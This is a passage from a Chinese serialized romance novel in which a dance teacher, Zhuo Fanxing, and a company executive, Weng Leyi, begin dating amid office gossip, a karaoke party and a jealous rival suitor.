卓繁星丢了一个大白眼给她。 “我知道了,你们两个都是闷骚型的!” 卓繁星不觉得这是什么好词。“你才闷骚。我们没有那个意思。” 邵丽丽小小地yue了一下。“受不了你。能不能不要这么正经啊。谈恋爱哎,那不是眼神碰到一下,就chuachua的冒火星子么!如果都像你们这样,人类都要灭绝了。” “那像你们这样吗?” “我们怎么了?”她得意道:“及时行乐不好么。翁总也是,加了微信就主动一点呀。难道等你这个,戳一下动一下的人,和乌龟一样。” “你才乌龟。” “哎!”她叫一声,又把手机翻给她看。“人家有主动好吗!我错怪他了!” 她看着卓繁星的表情。“你知道啊!那你也不表示!” 手机上是一星空照片,繁星璀璨,十分梦幻。那是翁乐仪最新的朋友圈。 卓繁星一天点进去看好几遍,怎么可能没有发现。 “我给你点个赞!” 卓繁星抢过来,她已经点好了。 “喂!”卓繁星看着照片上面的小爱心,脸开始发红。 邵丽丽简直没眼看,托着腮无语道:“真受不了你们。” “不过你别说,翁总还挺有情调的。他为什么要拍这个照片呀?星星,繁星,啧啧搞不懂呦。” 她挑着卓繁星的头发打圈圈,卓繁星瞪了她一眼,她更得意了。“还挺浪漫的,我和洪旺说一下,偶尔也是可以来点这样的小情调的。” 卓繁星赶紧抓着她,叫她坚决不要大嘴巴。 翁乐仪回来已经是一周后。 安杰将事情都报告好后,提道:“项目二组晚上有聚会,黄经理要办欢迎会,想邀请您去。您如果不去,我就去回掉。” 翁乐仪看着电脑上的文件回道:“可以,把地点发我。秘书办公室也有新来的吧,干脆一起去,我请客。” “那就谢谢老板了。” 安杰出去把这个消息公布出去,办公室资深老秘陆芳挤出一节护手霜,慢条斯理地擦着。“哎呀,收拾收拾晚上去吃大餐了。我同我老公说一声,晚上不回去吃了。” 新来的员工于晴晴羞赧道:“我要不要和老板说一声谢谢。” “吃饭的时候谢就好了啦。”她挪着椅子和隔壁八卦:“那个黄国勋分明就是算好的,小翁总好说话,又大方,他请翁总去,翁总肯定要请客的呀。” 于晴晴说:“那要是翁总不去呢?” “不去?”办公室里其他人都笑出声。“不去么就公司食堂吃一顿咯。” “这么夸张?” 陆芳呵呵两声。“不然他房子怎么买起来的,你看他穿的人模狗样的,其实铁公鸡一只,一毛不拔的。同他比起来,齐帆好的多了,上次团建,他自己贴一部分钱出来,请他们部门去吃的高级自助。我听说二组里面几个人叫苦连天,都不太想在他下面混。” “说起来,他姑娘追到了没?” “谁?齐帆呀。不知道呀,我回头去问问。我和他们部门小方好的呀。”陆芳的八卦之魂迅速燃烧,想了想一抬屁股起来,说:“我刚好有个资料要送过去,我现在就去!” 陆芳去了一趟项目一组,直接让队伍瞬间壮大。一群人吃完饭还有第二场,轰轰烈烈地往KV去。这是翁乐仪来Y市后第一次大的聚会,他在这边要呆一段时间,所以适时的融入团队还是必要的。 饭桌上翁乐仪被敬了几轮酒,好在后来齐帆顶上。黄国勋本来就爱喝酒,还是个人来疯,桌子上面最活跃的就是他。没一会儿就揽着翁乐仪称兄道弟,他是众鑫的老人了,如今酒喝多了,平日那点慎重也不知道丢到哪里去了。 陆芳不忿道:“不晓得的还是他请客。” “他先前是不是国企出身?”安杰夹一粒花生米边吃边吐槽:“老喜欢倚老卖老,论资排辈。” “齐帆比他有能力多了,他在他面前不是还一副老前辈的样子。” “他在翁总面前也这样。” 两个人互看一眼,道一声作孽。 陆芳心疼。“看把我们小翁总喝的脸都白了,真是不晓得轻重。” 于晴晴坐在一边,脸还红着。方才给几个领导敬酒,声音蚊子叫一样,娇羞着一张脸。 翁乐仪知道她跟在安杰手下,多说了几句。她脸更红了,下面人起哄道:“呀,翁总真是的,不要问了呀,小姑娘被你问的害羞的都要钻到地下去了。” 黄国勋说:“刚刚在我面前可不这样哦。” “你和翁总比呀,来来来,您站在翁总边上,你自己看看呀。” 于晴这下更尴尬了,回到位置上眼睛都红了。 陆芳说:“理他们做什么,一群男人没几个好的,就敢嘴皮子占点便宜。你以后理都不要理的。” 她嗯了一声,眼睛还是忍不住往翁乐仪那边看。 到了KV,大家起哄一定要他唱一首。翁乐仪也不扫兴,先请黄国勋开唱,等他唱完了,自己起身随便点了一首英文歌。 黄国勋唱的不是不好,可和他一比完全是两种风格。 翁乐仪穿了一件米白色的圆领毛衣,站到麦克风支架前面,配合着幽暗的光线,轻快雅痞的音乐响起来,他唱的人心都痒痒。 “hemoodywindhaoncemadeusmee” 陆芳捂着心口直叫唤。“哦呦,哦呦,他还抬眼看我。那个眼神,哦呦,看的我心脏病都要犯了呀。怎么这么勾人。” 于晴晴被她抱着尖叫,自己也跟着叫,眼睛亮晶晶地看着前面的人。 她第一次见到一个人能把英文歌唱那么好听。他唱歌的声音同他说话完全不一样,柔和多了,像是在你耳边说情话一样。 他一结束,下面瞬间尖叫:“再来一首!再来一首!” 一组的妹子上去献花,不知道哪里来的塑料花,她脸红红,翁乐仪接过来道了谢,她捧着心口冲回来。 陆芳感叹:“翁总真是太正了呀,我要是年轻十岁,我也要上了呀。连那个腿都成了苏点,维纳斯知道吧。” 安杰说:“翁总不搞办公室恋情哦。” “哦呦,公司他家的,他又不是常驻Y市,到时候这种不是随便他说。” “你说的和真的一样。” 安杰小声说:“我觉得翁总有对象了。” “啥?”这可是个大八卦。 安杰一时漏嘴,已经后悔了。陆芳怎么肯放过他。 安杰只能说:“在法国转机的时候,我看翁总买了一样首饰。” “或许是给他妈妈的呢。” 安杰嗯了一声没反驳。肯定不是,那是一只发卡,碎钻宝石做的一个跳舞的少女,一看就知道是给小姑娘的。 里面群魔乱舞,翁乐仪抽空出来,在吸烟区点了只烟。他最近没睡好,有些困,手机拿出来,找到熟悉的头像,打了几行字又删掉。 卓繁星上卫生间出来,没想到碰到齐帆。 “我们部门聚会。”他有点喝多了,脸红,脖子上青筋也冒出来。 “我老板过生日。”卓繁星简单道。今天何安琪生日,卓繁星和潘潘给她买了个蛋糕,她后来又叫了工作室几个员工一起来。这算是她离婚后的第一个生日,她感触颇多,许愿的时候没哭,倒是唱歌的时候刷刷流泪。 齐帆点点头,不知是不是酒喝多的缘故,觉得今天面前的女人格外娇媚。 卓繁星是喝了一小杯啤酒,有些上脸。再加上要出门聚会,略施淡妆,头发养长了,刚好到锁骨,一边夹在耳朵后面,衬得耳朵玉一样白,上面一颗简单的银色耳饰,精致动人。 “嘉嘉。”他觉得有些热,扯了扯衬衫领口。“嘉嘉上次回去特别开心。” “嗯,她和我说了。我也很开心,她特别乖。” “是吗。”齐帆抓了下脑后的头发,感觉更热了。 “那下次——翁总——” 卓繁星看着面前的人,眼睫闪了闪。 “我先过去了。” “嗯,好。下次见。”齐帆想真是不巧。 卓繁星回到包厢的时候感觉还没回神。潘潘挤到她边上说八卦:“繁星姐,你刚刚错过了,乔诗情男朋友来接她,哦豁,给她拽的。不就是个小富二代嘛。” 手机震了一下,卓繁星点开。 【我在出门右手边的咖啡店。】 卓繁星迅速暗灭。心跳的飞快。 当她出了KV,走的飞快。 他就站在咖啡店前的灯柱下,灰色的长风衣散开,一只手拿着手机,另一只手拿着香烟。连夜风都眷顾他。 卓繁星走近,他将烟熄灭。 对边是一家即将打烊的花店,店主正在搬运外面的花盆,整条街向下的斜坡,有种长夜里的宁静。 他走过去,挑了一束洋桔梗。店主做成最后一单生意显然非常兴奋,她目光顺着他走过来的方向落在卓繁星身上,带着温和与祝福的笑意。 卓繁星接过来,她不问,他也不讲。 二人向下走着。 他风衣的衣摆时不时打在卓繁星的裙子上。 “你怎么在那儿?” “老板生日。” 地上的影子时分时合,卓繁星看着怀里的花束,恍惚觉得这一幕似曾相识——啊,那是大二的时候,在酒吧门口,她想向他告白的那个夜晚。 “你上次也送过我花。”她突然的开口,让翁乐仪愣了片刻。 “什么时候?” 果然不记得了。卓繁星浅浅叹了口气。“大二迎新会的时候,你和徐謇一起来的。” 翁乐仪想起来了。当时徐謇与女友正在热恋期,那姑娘,也就是卓繁星的朋友,她们一起登台表演,徐謇当然要去送花。 他记得当时自己也被塞了一捧,因为满100减20。 对于那个晚上的印象,翁乐仪更深刻的是蒋凌洲的来电。 他们刚刚看了一场演出,卓繁星去卫生间了,他在她的手机上看到了这通电话。 后来她回来后,电话再度响了两次,他看见她冷着脸挂断。 他们还有联系。或许闹矛盾了。 翁乐仪这样想。 他不觉得那个晚上是什么愉快的记忆。 虽然他不愿意承认,他在看她表演的时候,一度脑子里都是徐謇的话:“她肯定对你有意思。” 他知道自己有些心动了。送花的时候感到局促,然后如孔雀开屏一样在酒吧登台表演。 “卓繁星。”在走到十字路口的时候,翁乐仪突然叫住她。 “嗯?”卓繁星转过头,然后就听见他说:“我们试试吧。” 他说完后一度觉得很寂静,因为再注意不到其他任何的动静,只想听到她的回答。 行人标志的红绿灯默默闪烁,他们站在这个路口,好像也是通往他们心灵的路口。 “试什么?”卓繁星听见自己的声音,很平静,很稳当,非常好。 翁乐仪不确定她是不是真的没听懂,抿了下唇说:“交往。” “为什么?因为接吻了?”卓繁星不知自己怎么了,出奇的淡定。她好像灵魂出窍一般,看着自己这个人,一个透明的人,她的心脏跳的稳定而有规律,一点也不符合自己遇见他的时候,听见这句话的时候。 那个即将开始燥热的夏天,她看着街上浓密的绿荫,幽静的街道上,欢快的音乐还留有余韵。她穿着一件蓝色连衣裙,捧着一小束玫瑰,跟在他身后。 可是她不知怎么了,就是突然变了。那个冷漠的背影,带着她穿过街道,坐上出租车,在最后下车的时候说了句:“再见。” 之后,他就飞去美国了。徐謇的活动,他就再不出席了。 他的沉默让卓繁星寥寥的开口:“没什么的,不必要。” 人行道上红灯转绿,卓繁星走过去,下个路口就是地铁站。 翁乐仪拉住她,卓繁星仰头看他,他们的眼神交汇,最后卓繁星还是败下阵来。 “卓繁星,我们交往吧。” 他眼中的温柔如有实质,是一种脉脉流淌的泉水,卓繁星从前就知道。她喜欢他这样的眼神,真诚的让人无法拒绝。她一直渴望了好久,却在这一刻说不出话来。 她让自己面无表情,生怕一下就要崩溃,泄露出一点。她要以一种淡然的态度面对他。 卓繁星说:“我只和喜欢我的人交往。” 她微微仰起头,有些倔强,没有去看他,看着他身后那家关着的轻食店。 过了一秒,两秒?或许是五秒,她失落地低头,没有看见他红起来的耳朵。 翁乐仪贴近一步,说:“我也是只和喜欢的人交往。” 【作者有话说】 “hemoodywindhaoncemadeusmee”-歌曲MoodyWind 第33章 ◎小动物(一)◎ 卓繁星把那束洋桔梗插起来,希望它能多开几天。 她没有料理花束的天赋,这只花瓶早已闲置,她翻出来后冲洗好多遍,才将里面的杂质洗干净。 她想起以前不是没有买过花束,可是总是太短暂。等她照顾,它已经谢了——在短暂的装点了屋子后,又消失了。她还要记得给它换水、剪枝。 她看着漂亮的洋桔梗,拍了张照片发过去。那边很快电话打来。 卓繁星接起,翁乐仪已经躺在床上,背后是深蓝色的枕头。 “你要睡了吗?”她有些局促地开口。其实已经后悔,他们刚刚确定了关系,却不知道该说什么。 翁乐仪说还好。他换了个更舒服的姿势,沉默了一瞬。 终于他提及那张他发在朋友圈的照片。 “我在法国的一个小镇上拍的。刚好有空,我们驱车去那里。在岛上,可以做缆车上去。那个岛是火山喷发形成的” “我发的那张是巴纳德环星云,距离我们1500光年我们带的设备不够好,如果有准备的话” 卓繁星安静地听着,后来干脆将手机放到床上,自己趴在旁边,就听着他的声音。 “卓繁星,你睡着了吗?”他突然意识到很久没有听见她的声音了。 她的声音软乎乎拖着长音传过来。“没有,我在听。”卓繁星把手机反过来,正对着她趴着的姿势。 翁乐仪顿了一下,眼珠微微移开,又看向她。 “还有一些照片我发给你,如果你感兴趣的话。” “好。” “早点休息。”他看着手机里的人,她分明眼睛都快合上了。 “嗯。” 这个夜晚像是他发来的神奇星空一样,不可思议。她仿佛徜徉在夜空中,那些星星包裹着她。又像划着一艘船——她趴在船上,船行过就拖拽出点点星光,而她只需要趴在船上,随手一捞,就能捞到一颗星星。 像是童话中的场景。 卓繁星第二日醒来,仍在回味美好的梦境。她很久没有睡的这样安心且满足了,这让她觉得精力充沛,翻了个身将自己包裹在被子中。打开窗,阳光洒在那束洋桔梗上,像是在亲吻它。 然而两个事实上成了男女朋友的人却没有立刻亲密起来,他们像两个笨拙的人,在这件事上都不太熟练。 每每在微信聊天时,卓繁星总想到两只相互用鼻子触碰对方的动物——它们互相碰到对方湿漉漉的鼻子,然后说嗯,很健康。起码是湿润的呀。 微信中的生硬让卓繁星认识到他们其实并没有太多交集的点,而随之而来的就是感到神奇。 他们这样都能在一起。 那为什么大学的时候没有在一起。 她想到她和小苑一起去的鬼屋,厚着脸皮去吃的每一顿饭,每一次双人行后犹如两个挂件一样的人。 因为她的行动太过正常,连邵丽丽都察觉不到她恋爱了。 她倒不至于每次在她这里都要提翁乐仪。卓繁星后来才想到,她同翁乐仪在医院见面的那个晚上,好像正是因为眼前这个人。翁乐仪甚至还给她输了血。 她感叹于际遇的神奇。想了想给翁乐仪发去信息:你认得邵丽丽吧。 那边直到一小时后才回了个问号。 卓繁星纠结该不该提醒一下他。他应当不会同洪旺讲关于邵丽丽的事。他不像是多管闲事的人,而洪旺,卓繁星自然是偏向邵丽丽的。 她还是选择不讲。 翁乐仪发来信息:【我今天应该能早点结束,要不要一起吃晚饭?】 自那日KV门口之后,他们一直没再见。翁乐仪似乎格外忙碌,晚上常有应酬。而卓繁星周中的课多在晚上。两人工作的地点较远,匆匆见一面实在不划算,连顿饭都吃不安生。 翁乐仪知道她今天在洪家上课,才有这样的提议。 卓繁星答应了,说给Bella上完课就过来,请他把地址发给她,她会自己过去。 然而课还没结束,她就见到了他。 翁乐仪站在门口,二人打了个照面,卓繁星尚没开口,Bella已经跑了过去。 “上次的哥哥。”她已经忘了翁乐仪的名字。 洪栋梁站在一旁,对翁乐仪说:“她还记得你呢。” 陈女士说:“你不知道那次去岛上,翁先生过来陪她玩了好一会儿,后来她就一直惦记。” 翁乐仪同洪栋梁去了书房,临走时看过来一眼。 卓繁星手机里收到消息:【我会在外面等你。】 卓繁星结束后同陈女士告别,走出洪家不远,就在林荫道上看见他的车。 卓繁星上去后,说:“不好意思,你等很久了吗?” 翁乐仪说:“没有,只是洪教授说的理论太高深,我不怎么听的懂。”他以公司最近的研发技术为话题去请教,洪栋梁很高兴,讲起实验室最新的成果,无奈翁乐仪到底不精于此道,一时对于他的话,应付的很吃力。 卓繁星笑了一下。“怎么不问我时间,其实我自己过去也不要紧的。” 翁乐仪没开口,目光在她光洁的脸上扫过,又去看前面的挡风玻璃。 他觉得她在躲他。其实刚开始他也有一些,尽管不愿意承认,可对突然出现的对象,在确认关系后,不知该如何相处。 他的提议冲动。正如她所讲,似乎就在接吻后,他便向她提出了交往的请求。 可是他不觉得有什么不好。只是有些陌生,对于这样的场合。 卓繁星问:“吃什么?” 翁乐仪已经想好了这个问题的答案。“Luna有一家创意菜餐厅,你想去试试吗?” “她不是珠宝设计师吗?” “是,可是不妨碍她开餐厅。” 翁乐仪将车子停在一处花店,下车买了一束雏菊,用牛皮纸包着。 卓繁星道谢,在他下车进店,再到回来,她的视线就没移开过,只是在接过花的时候借着闻花掩盖过去。 卓繁星说:“以后每次见面都会买花吗?” 翁乐仪说会。 卓繁星转过头看向后视镜,里面的人分明在笑。 两人到了Luna的餐厅,或许是周末,位置基本都坐满了。 翁乐仪同服务员打了招呼,很快他就将他们引到一个相对安静的角落。落地窗正对着里面的天井,翁乐仪说:“这里白天的时候可以喝咖啡。” Luna下来,拿了一瓶葡萄酒。“是我想的那样吗?”她搭在繁星肩上问。 卓繁星脸有点红,翁乐仪说:“介绍一下,我女朋友卓繁星。” Luna翻了个白眼,对卓繁星说:“小翁一贯这么正经,好没劲的。”她叫服务员去醒酒,又问卓繁星要不要试一下刚刚做出来的提拉米苏。 卓繁星喝酒上脸,不过浅浅一杯葡萄酒,也让她吃的很快热起来。 “你调的酒是什么味道?” “什么?” “上次在洪旺家里,你给Luna调的。” 翁乐仪笑着说:“下次你可以试试。” 卓繁星眼珠盯着他的手,他拿叉子的手指,举着玻璃杯的手指,她看的眼睛发直。他不用的时候,随意地放在桌上,手指曲起的弧度,力量与线条的美感。 她想起来以前和灵均一道看的漫画,一女N男的那种,里面的男角色无一例外手都会被画的很漂亮,长而直,既能弹奏钢琴,又会在女主的脸上抚摸。 反正是会给一个专门的特写的。 后来卓繁星知道了一个词:手控。 要是被这样一双手抚摸,从头摸到脚,啊,想想就要高潮了。听说中指比较长的那个很厉害哎——啊,这是大学里面小苑说的虎狼之词。 或许是她的眼神太强烈了,翁乐仪有些奇怪地看了一眼自己的手。“怎么?” 卓繁星迅速摇头。 Luna又飘过来,拿了一只拍立得。 “本店活动哦,留下你们的相片记忆可以免费赠送一个菜哦。怎么样,要参加吗?” 卓繁星特别喜欢她说话,感觉十分有趣。 翁乐仪说:“不用免费,我要带走。” Luna切了一声。“难得这么高颜值,我想要拿来发个xhs都不行吗?” 显然他们两个都没有这个意思。 她只能作罢。“算啦算啦,你坐过来。”她指挥着翁乐仪。 翁乐仪坐到卓繁星身边,手放在她身后的椅背上。两人并没有贴的很近,也没有对视,或者一方看着一方,反而很规矩地注视着镜头。 Luna拿出照片后啧啧两声,实在很舍不得。“就不能让我发一下吗?”都是清冷系的,只要这一个动作,就叫人觉得非常高级,非常搭啊。 “不行。”翁乐仪将照片拿过来。 相片上,她穿了一件高领米色线衫,翁乐仪是一件黑色毛衣,他放在身后的手像是在她肩头形成环绕的感觉。 滤镜的缘故,卓繁星觉得有一种复古感。这让她想到那年日本的旅行。为什么那时候没拍一张合影呢,这样就可以清晰地看到他们这些年发生了什么样的变化。 “能不能再拍一张?”卓繁星请求道。 “不行。”Luna明显“怀恨在心”。“让你男友去想办法哦。” 餐厅的楼上是工作室,Luna的珠宝设计就在上面完成。 卓繁星很感兴趣,她跑上木质的台阶,说:“我去看一看。” Luna浅酌一口酒,倚在一张大的设计台上。 卓繁星参观了一下,墙上挂了许多设计图纸,还有一些抽象画作,并不像她想的那样会有一些展品的柜台。 “那我告辞啦,下次再见。”翁乐仪还在下面等她,卓繁星同她道。 Luna懒懒地点了下头,说:“所以我上次的占卜准吗?我上次推算的是哪三张牌?” “嗯?”卓繁星明显愣了一下。她打着哈哈。“不知道呀,我也忘记了。”她心虚地跑下去,然后看见楼梯口等待的翁乐仪。 “好了?”他仰头看过来。 卓繁星突然就注意到他的拐杖。她怎么就把他的腿给忘了。她方才跑上楼的样子是不是特别快。她压根就没想到他。 二人沿着街道缓缓走着。这条街文艺气息浓厚,周围许多老建筑,是一种民国的西洋风情。 卓繁星时不时去看他的腿。 “怎么?”他察觉到了。 “你的腿,那个时候是什么样的?”她觉得自己或许不该问,实在扫兴。可是她又想到那个梦。她在与他重逢后做的那个梦——他的腿和她的器官手拉手地回到各自的身体。 “你说出事的时候?” 卓繁星看了他一眼,点头。“我从灵均那里听过。” “就是车祸,刚好被树枝插进去,天太冷,所以没办法。” 卓繁星的电话响了,是何安琪打来的。她在那边说乔诗晴办离职了。 孩子流感发烧,她忙的脚不沾地,现在才有功夫和她讲这件事。 卓繁星听出她很累很烦躁,可是她在约会,她不想让这件事影响她和翁乐仪第一次的约会。 她打断她的吐槽,说:“排课的事你看着办吧,到时候叫潘潘发我。” 电话挂断,她吐出一口气,预料接下去会更加忙碌。本来圣诞时会有一个给家长准备的汇演,乔诗情走了,那她负责的孩子都要压在她头上了。 她想乔诗晴还算贴心,选择在老板生日后离职,不然何安琪怕是连生日都不想过了。 她应该早有打算吧。可是何安琪生日那天,她也是情真意切。哎,这是迟早的事。只是何安琪没想到会这么快,她想怎么也要过了年吧。 翁乐仪研究了一下身边这栋建筑,是上世纪的银行旧址。巨大的罗马石柱撑在门廊两边,人在下面站着,天然就有一种强大的压迫感。 如今他们走的这条路因为翻修,不远处拉起了黄线,行人皆绕道。 “工作上的事?”翁乐仪看见她挂断电话。 卓繁星简单说了一下,他说:“你同你老板关系很好?” 卓繁星说:“我到了Y市后就在这家工作室,不过原先是她和老公合开的。”这里头又是离婚分家的事,卓繁星说:“今年年初的时候,她自立门户,算是最困难的时候吧。” “刘清华说看见你发传单。” “啊?”卓繁星愣了下。“我是碰见过他。” 由此引申,卓繁星忍不住问:“那你有没有想过会遇见我?” 翁乐仪说:“我现在都觉得神奇。”他轻轻一笑。 卓繁星突然停下,站在他面前。 “怎么?” 卓繁星在想这个动作会不会吓到他,会不会太过主动。可她连亲他的事都干了呀。 她决定遵从本心抱住他。她的双手从他的大衣伸过去,将下巴抵在他的胸口。皮肤接触到柔软的毛呢面料,她将自己埋进他的气味里。 许久,她在没有等来他的拥抱后,发出瓮翁的声音。 “你为什么不抱我?” 翁乐仪轻咳一声回答道:“我在想你为什么要抱我。” 卓繁星没有说话,侧脸贴在他胸口。 她想告诉他她做的那个器官的梦,她从灵均那里听到他出事的消息很伤心,她也觉得能在Y市再遇见他是个奇迹可是她好像不能告诉他。 她不知道为什么不想让他知道她的暗恋——她不想落了下风。 可如果无法诉说,势必又会有一种被辜负的感觉。 他从来不知道她有多喜欢他。 卓繁星有些难受地在他衣服上蹭了蹭脸,悄然叹了口气。 他们第一次约会,他不牵手,也不拥抱。 翁乐仪感受到她猫一样的动作,她的脑袋在他的胸口捣乱。他又感受到第一次被她亲吻时的感觉了。 无措中夹着欣喜。 翁乐仪抬起手放在她环绕着他的那条手臂上,另一只手放在她背后,低下头去寻找她的唇。 他们终于从触碰鼻子到分享唾液了吗。 卓繁星恍恍惚惚地想,她不由自主地贴他更紧,将他的大衣揪住,牢牢攥在手心。 第34章 ◎小动物(二)◎ “超薄、水润、玻尿酸;延时、刺激、经典、特大号;超强、凸点、螺纹;隐形、极致快感、草莓味。” 卓繁星目瞪口呆地看着她,邵丽丽趴在沙发上看过来。“要一起买吗?满300减30哦。” “为什么要你买?”卓繁星想洪旺不会是那么抠的人吧。 “有没有可能他在等我主动呢。” “你们还没有过吗?”卓繁星问的迟疑,这实在不像他们两个的风格。 “人家身体还没好啦。”邵丽丽嗔怒道。“而且适时的放缓更容易掌控节奏啊。” “对,幸好你还知道。”卓繁星想其实距离她手术也不过两个多月。这期间真的发生了很多事情啊,让她觉得好像过了很长一段时间。 “要囤货吗?”邵丽丽真的很认真在问她。 “不用了。”她如果告诉她一直都是她主动的,她也会吓死吧。 “好吧,你之后有需要也可以问我拿,我很大方的。它现在出了一款新的,玻尿酸含量很高,不知道怎么样,我先买来试试,到时候好的话推荐给你啊。” 卓繁星麻溜地跑回房间。 她坐在地毯上,拿出那只翁乐仪送的发卡。 “送我的礼物吗?”卓繁星在一吻结束后,摸到头发上的发卡。 她拿下来,少女裙子上围绕着一圈又一圈的红绿宝石,她的裙子熠熠生辉,两条手臂提着裙摆,正在谢幕。 “我能拿这个换照片吗?”卓繁星仰着脸问。 翁乐仪说:“恐怕不行。我想要照片。” “有点贵重。”她小声却诚实地开口。少女的脸就是一颗硕大的钻石,比她看过的许多求婚戒指都大。 “我在法国出差的时候买的。”他这样告诉她。 卓繁星唇角不由自主便勾起来,是啊,他在那里还去拍了星星。 卓繁星的心啊,悠扬起来,像发卡少女一样提起裙摆,跳起舞步,最后摆了个谢幕的姿势。 之后的日子果然如她所料,乔诗情一走,她一下忙碌起来。 虽然有潘潘在,她不需要那么快的认识孩子,但是有时候家长找你沟通,也是很难拒绝的。本来何安琪有意将另一家店打造为面向成人群体的,兼具古风体验与舞蹈学习。她想做一家网红店。可是现在只能搁置。 工作室的自媒体运营也成了问题。账号是收回了,只是以后的内容更新是个难题。 潘潘说:“何姐一开始还想留她的,结果她好像狮子大开口,要了个什么价。反正挺离谱的。” 卓繁星问她:“老师招的怎么样?” 她叹气。“兼职的好找,能常年做下去的,何姐也要看人家水平,现在又快年底了,哪儿来的人呀。” “关键是先前订好了拍摄计划。之前倪玉城新片票房高,他老早的电影《满庭芳》也被带起来,里面不是有段舞蹈,切片发到网上老火了,好多人跟拍。当时何姐就定下来要拍。” “好么,现在人走了,钱要打水漂了。” 卓繁星这天课上完被何安琪叫到办公室,就是和她聊这个事。 “现在只能你顶上了。” 卓繁星没说话,她哎呦一声,撑在桌子上眨巴着眼睛看她。“繁星啊,不露脸。那个电影里就是带面具的,咱们也带呀。” “实在没办法了,帮帮忙吧。”她又苍蝇搓手。 卓繁星无奈跟她确认。“只此一次啊。赶紧找人。” “知道啦,我倒是想找人。其实你要是愿意的话,咱们价钱好谈呀。” 卓繁星摆摆手,果断拒绝。“不要,我面对镜头不自在。” 跳舞和拍视频还是两码事。大学的时候,好多导演来舞蹈学院挖苗子,卓繁星刚开始也跃跃欲试去试镜,她舞跳的不错,长的好,气质佳,奈何面对摄像机就是个木头。 当然何安琪口中的拍视频简单许多,只是卓繁星不想露脸。 她心里隐秘的羞耻让她不愿意将自己暴露出来——她总想要是认识的人刷到会怎么想。尤其是京市的姥姥、姥爷、舅妈,或者还有她妈妈。 也许还有许筠、以前的老师 她们会说:“啊,现在卓繁星在舞蹈机构教人跳舞啊。” 或许还会加上一些可惜的感叹。“她以前跳的真不错,我还以为她毕业了肯定要去舞团的。” 原谅她小小的虚荣心吧。她真的不想被她们看见。 卓繁星忙碌地过了一周,新招来的舞蹈老师接过乔诗情部分的工作,舞蹈的拍摄也确定下来。 何安琪每次见她排练都觉得可惜。“你跳的这么好,我给乔诗情大半个月,她都说来不及。” 潘潘狠狠赞同。她以前跟在乔诗情后面,每天都要催她,要练舞啊,要抓紧啊,和皇帝身边的太监一样。 卓繁星说:“我以前跳过。” 她们不知道当时倪玉城为了画面效果怎么折磨她的,她都快跳吐了,而且她还参与编舞,以至于现在都记得。 拍摄那天,卓繁星穿上一袭唐风舞裙,做妆发,就这样花去半天时间,后来跳舞抠细节,各个角度拍摄,结束的时候已经快7点了。 摄像小哥对这次能这么早收工非常满意。 何安琪请客吃饭,卓繁星没去,这里离翁乐仪的公司很近,她早上就搜过了,坐地铁两站就到。 他们已经微信恋爱很久了啊,得去见见男朋友了。 卓繁星给翁乐仪发去信息,在不远处的一家咖啡店等他。 这个时间按理说应该都下班了吧,可是牛马的世界岂能有7点下班的道理。 所以卓繁星遇见齐帆的时候,他已经算是最近最早的一次下班了。 “卓老师。”他欣喜地同她打招呼。“你——”他四下看看,说:“嘉嘉喜欢吃这家的甜甜圈,我给她买一个带回去。” 她不像是来约会,嗯,相亲?这个点咖啡店他视线随意扫过就看见两对,还带着工牌,真的是很标志的都市男女形象了——下班相亲,生活还能更操蛋一点吗。 不久之前,他也是这样啊。他对那个明显局促的老哥投以同情的眼神,不如回家打游戏。 “要喝点什么吗?我请客。”齐帆热情道。 卓繁星头摇的很快。“不用了,谢谢。” “你是约了人吗?” “是工作室在附近有个活动。” “这样——”他拉了下电脑包的背包带子。“上次KV碰见你就想说,嘉嘉特别想和你一起玩,那天回来就在说,什么时候能再把卓老师约出来。” 卓繁星有些诧异地睁大眼睛。 齐帆已经局促地没边了,可是他接连遇见她本身不就是一种缘分吗,这莫名给了他很大的勇气。他干脆要坐下来,同她好好聊一聊。 翁乐仪就是在这时候走了进来。 卓繁星正在应对齐帆的邀约。 “你觉得周日下午可以吗?我知道你一般都是晚上有课。” 卓繁星看见他视线扫过这边,仿佛下一秒就要过来了,一下站起来说:“我还有事,不好意思。” 翁乐仪皱眉,齐帆转头的时候就看见他——见鬼了,怎么每次都有他。 卓繁星上了车后,翁乐仪问:“想吃什么?” “都可以。” 他在转过一个路口后问她:“为什么要走?” “什么?” “刚刚在咖啡店。” “有点尴尬。” “我走过来尴尬?”翁乐仪总是一击即中,戳中要害。他顿了顿说:“我觉得刚刚是个很好的的机会,我会走过去装作才看见他的样子,然后说这样,真巧,我女朋友是你女儿的老师。” 听起来好像是这样,卓繁星想。 “他在同你说什么?” 卓繁星说:“没说什么,他要给他女儿买甜甜圈,然后刚好碰到了。” 然后她很快就被他看了一眼,卓繁星心虚地眨了眨眼睛。 “他想追你。办公室里都传开了。” 卓繁星过了会儿小声说:“他在我面前起码没这样说过。” 翁乐仪叹了口气,一个红灯,踩了刹车,随即伸手在她脑袋上狠狠揉了揉。 卓繁星发出抗议的惊呼,扒拉住他的手,死死抓住。 “我发给你的照片好看吗?”她眼睛亮晶晶的,极为动人。 翁乐仪不打算这样过去。“什么?”他这样逗她。 “工作室拍的照片,我今天光妆造就花了三个小时。”她还特意叫摄影小哥拍的。 翁乐仪不说话,认真开车。卓繁星面对着他坐,将身子几乎完全侧过来。外面的灯光透过窗玻璃打在他立体的脸上,有些重庆森林的味道。 她的手没松开他的,她想起来了,上次在Luna的餐厅她就觊觎很久了。 翁乐仪被她弄的彻底没了脾气,手指纠缠,自有一股说不出的缱绻之意。与他的比起来,她的手太柔软。 “卓繁星。我明天去京市出差。” 卓繁星啊了一声。她好不容易空一些,他又要走了。她后天放假,她本来想他们可以好好约个会。 她有些失落地叹了口气,身子瘫下来坐直,只盯着前面的路了。就这样,也没松开他的手。 翁乐仪感觉自己的手在她手里变得温热,将她身上的温度汲取过来。 他偶尔动一下——长久的坚持一个姿势很难——不过动作幅度很小,怕会惊动她。他觉得她握着他的手很好,他并不打算改变。 许久,他开口:“卓繁星,他还会联系你吗?” “谁?”繁星如梦初醒,她今天其实很累,有些晃神。 翁乐仪抿了下唇说:“齐帆。” “他女儿在和我学跳舞。不过一般都是助教老师联系家长。” 她说完,晃了晃他的手。 翁乐仪说:“知道了。” “知道什么?” 他转过脸,前车红色尾灯照在他脸上,他漆黑的眼珠亮的惊人,好像内置了幽深的隧道。 “他那边我会去说的。” 第35章 ◎小动物(三)◎ 他会去说的。 他怎么说。 卓繁星虽然有些好奇,但绝对不会去问。 她知道自己隐秘的心思。好像天生对这段感情就抱着悲观的想法。即便正是热恋的时候,可她始终抱有最坏的打算。 她控制不住地沉溺进去,可那是在面对他的时候,只有他们两个人。她觉得还是低调些的好,低调才能长久。这样等结束后,一切都会了无痕迹,她会省去很多麻烦。 